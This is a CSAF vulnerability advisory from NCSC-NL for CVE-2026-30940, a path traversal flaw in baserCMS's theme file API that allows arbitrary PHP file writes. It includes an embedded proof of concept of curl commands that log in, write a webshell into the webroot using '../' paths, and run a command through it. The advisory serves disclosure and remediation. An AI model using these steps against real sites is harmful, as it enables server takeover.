{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-30940", "tracking": { "current_release_date": "2026-04-02T15:48:55.200015Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-30940", "initial_release_date": "2026-03-31T01:25:44.857762Z", "revision_history": [ { "date": "2026-03-31T01:25:44.857762Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T01:25:47.259073Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-31T01:38:42.452047Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-31T01:38:49.465517Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-31T07:35:24.955211Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-31T17:02:22.142282Z", "number": "6", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-31T17:02:28.820727Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-31T23:58:27.531740Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-03-31T23:58:30.128426Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-04-01T23:26:08.445180Z", "number": "10", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-04-01T23:26:11.037289Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-04-02T15:40:19.517634Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-04-02T15:40:30.012978Z", "number": "13", "summary": "NCSC Score updated." } ], "status": "interim", "version": "13" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<5.2.3", "product": { "name": "vers:unknown/<5.2.3", "product_id": "CSAFPID-5982832", "product_identification_helper": { "cpe": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "baserCMS" } ], "category": "vendor", "name": "baserCMS" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<5.2.3", "product": { "name": "vers:unknown/<5.2.3", "product_id": "CSAFPID-5966272" } } ], "category": "product_name", "name": "basercms" } ], "category": "vendor", "name": "baserproject" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-30940", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30940" }, { "category": "description", "text": "baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30940.json" }, { "category": "description", "text": "## Summary\n\nA path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.\n\nAn authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).\n\n## Affected Code\n\n**File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n // ...\n return $viewPath . $type . DS . $path; // $path is not sanitized\n}\n```\n\n## Attack Scenario\n\n1. The attacker compromises an administrator account (password leak, brute force, etc.)\n2. Obtains an access token via API login\n3. Specifies `path: \"../../../../webroot/\"` in the theme file creation API\n4. A PHP file is created in the webroot\n5. The attacker accesses the created PHP file to achieve RCE\n\n## Reproduction Steps\n\n```bash\n# 1. Login\ncurl -X POST \"http://target/baser/api/admin/baser-core/users/login.json\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n\n# 2. Create webshell\ncurl -X POST \"http://target/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"theme\": \"BcThemeSample\",\n \"plugin\": \"\",\n \"type\": \"layout\",\n \"path\": \"../../../../webroot/\",\n \"base_name\": \"shell\",\n \"ext\": \"php\",\n \"contents\": \"\"\n }'\n\n# 3. RCE\ncurl \"http://target/shell.php?cmd=id\"\n```\n\n## Vulnerability Details\n\n| Item | Details |\n|------|---------|\n| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |\n| Impact | Arbitrary file write, Remote Code Execution (RCE) |\n| Attack Prerequisites | Administrator privileges + API enabled (`USE_CORE_ADMIN_API=true`), or chaining with XSS, etc. |\n| Reproducibility | High (PoC verified) |\n| Test Environment | baserCMS 5.x (Docker environment) |\n\n### Additional Notes on Attack Prerequisites\n\n- **When API is enabled** (`USE_CORE_ADMIN_API=true`): API calls can be made externally using JWT token authentication. Direct exploitation is possible.\n- **Default settings** (`USE_CORE_ADMIN_API=false`): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.\n\n## Recommended Fix\n\nRather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using `realpath()`, etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.\n\nThe specific implementation location and method are left to the project's design decisions.\n\n## Comparison with Other CMS\n\nWordPress's theme editor only allows editing within `wp-content/themes/` and does not permit writes outside that directory. [CVE-2019-8943](https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/) was reported as a path traversal vulnerability in `wp_crop_image()` that allowed writing cropped image output to an arbitrary directory by including `../` in the filename.\n\nThis vulnerability is not a matter of \"administrators being able to execute arbitrary code\" by design, but rather stems from a security boundary violation where \"the theme editing function can write outside the theme directory (to webroot, config, etc.).\"\n\n## Resources\n\n- OWASP Path Traversal: \n- WordPress RCE via Path Traversal (CVE-2019-8943): \n- Jira Path Traversal (CVE-2025-22167): \n\nThis advisory was translated from Japanese to English using GitHub Copilot.", "title": "github - https://api.github.com/advisories/GHSA-c5c6-37vq-pjcq" }, { "category": "other", "text": "0.00204", "title": "EPSS" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "Is related to CWE-73 (External Control of File Name or Path)", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to an uncommon product vendor, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5966272", "CSAFPID-5982832" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30940" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30940.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-c5c6-37vq-pjcq" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://basercms.net/security/JVN_20837860" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/baserproject/basercms/releases/tag/5.2.3" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30940" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-c5c6-37vq-pjcq" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5966272", "CSAFPID-5982832" ] } ], "title": "CVE-2026-30940" } ] }